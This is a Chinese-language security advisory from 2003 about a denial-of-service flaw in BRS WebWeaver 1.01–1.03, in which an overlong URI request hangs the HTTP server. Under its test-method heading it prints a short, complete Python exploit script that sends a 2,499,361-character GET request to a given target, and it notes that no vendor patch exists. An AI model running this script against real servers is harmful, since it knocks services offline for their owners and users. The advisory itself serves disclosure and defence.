发布日期：2003-04-04
更新日期：2003-04-14

受影响系统：

BRS WebWeaver 1.03
BRS WebWeaver 1.02
BRS WebWeaver 1.01

描述：

---

BUGTRAQ  ID: 7280

BRS WebWeaver是一款集成化的小型快速的HTTP和FTP服务程序，提供目录保护功能，适用于Windows 9x/NT操作系统。

BRS WebWeaver包含的HTTP服务程序在处理超长URI请求时缺少正确处理，远程攻击者可以利用这个漏洞对服务程序进行拒绝服务攻击。

任何本地或远程用户提交包含2499361字符的URL请求，服务器就会停止响应2到5分钟，多次这样的访问可以导致消耗所有内存而使系统挂起。

<*来源：euronymous （just-a-user@yandex.ru）
  
  链接：http://marc.theaimsgroup.com/?l=bugtraq&m=104925053313311&w=2
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

euronymous （just-a-user@yandex.ru）提供了如下测试方法：

}------- start of fWWhtdos.py ---------------{

#! /usr/bin/env python
###
# WebWeaver 1.03 Http Server DoS exploit
# by euronymous /f0kp [http://f0kp.iplus.ru]
########
# Usage: ./fWWhtdos.py target
# Ex.:   ./fWWhtdos.py 127.0.0.1
########

import sys, httplib

target = sys.argv[1]
spl = "f"*2499361
conn = httplib.HTTPConnection(target)
conn.request("GET", "/"+spl)
r1 = conn.getresponse()
print r1.status

}--------- end of fWWhtdos.py ---------------{

建议：

---

厂商补丁：

BRS
---
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.bsoutham.org/WebWeaver/

浏览次数：3358
严重程度：0（网友投票）